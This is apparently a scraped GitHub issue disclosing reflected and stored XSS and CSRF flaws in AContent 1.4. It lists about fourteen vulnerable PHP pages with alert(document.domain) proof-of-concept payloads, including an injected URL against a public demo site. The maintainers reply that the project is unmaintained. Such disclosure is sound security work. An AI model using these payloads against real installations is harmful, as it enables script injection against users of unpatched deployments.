-
Notifications
You must be signed in to change notification settings - Fork 35
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
XSS and CSRF issues on v1.4 #29
Comments
This application is no longer being maintained, though we will accept pull requests to address these issues. |
Hi, thank you for your response. |
Will watch for your pull requests. Thx |
Hello.., |
Hello...
I have found XSS and CSRF issues in atutor/AContent v1.4.
I used AContent 1.4 Demo on your official website.
Please let me know if you need additional information.
I hope this is a right channel to disclose security issues because you requested to post any bugs to this GitHub Page.
Regards.
Findings
XSS (Reflected)
https://atutordemos.000webhostapp.com/acontent/documentation/index.php?p="><script>alert(document.domain)</script>
XSS (Stored)
1 (editor/edit_content_folder.php)
<script>alert(document.domain)</script>
and then press Enter or click Save Button2 (editor/edit_content.php)
<script>alert(document.domain)</script>
and then press Enter or click Save Button3 (editor/edit_content.php)
<script>test</script>
.<script>alert(document.domain)</script>
<script>test</script>
to trigger the JS alert again4 (tests/edit_test.php)
<script>alert(document.domain)</script>
5 (tests/edit_question_likert.php)
<script>alert(document.domain)</script>
6 (tests/create_question_matchingdd.php)
<script>alert(document.domain)</script>
7 (tests/create_question_matching.php)
<script>alert(document.domain)</script>
8 (tests/create_question_multianswer.php)
<script>alert(document.domain)</script>
9 (tests/create_question_multichoice.php)
<script>alert(document.domain)</script>
10 (tests/create_question_long.php)
<script>alert(document.domain)</script>
11 (tests/edit_question_ordering.php)
<script>alert(document.domain)</script>
12 (tests/edit_question_truefalse.php)
<script>alert(document.domain)</script>
13 (tests/question_cats_manage.php)
<script>alert(document.domain)</script>
14 (course/course_property.php)
<script>alert(document.domain)</script>
CSRF
Suggested Mitigations
<script>alert(document.domain)</script>
on certain places, but no on many other places and therefore still vulnerable to XSS.The text was updated successfully, but these errors were encountered: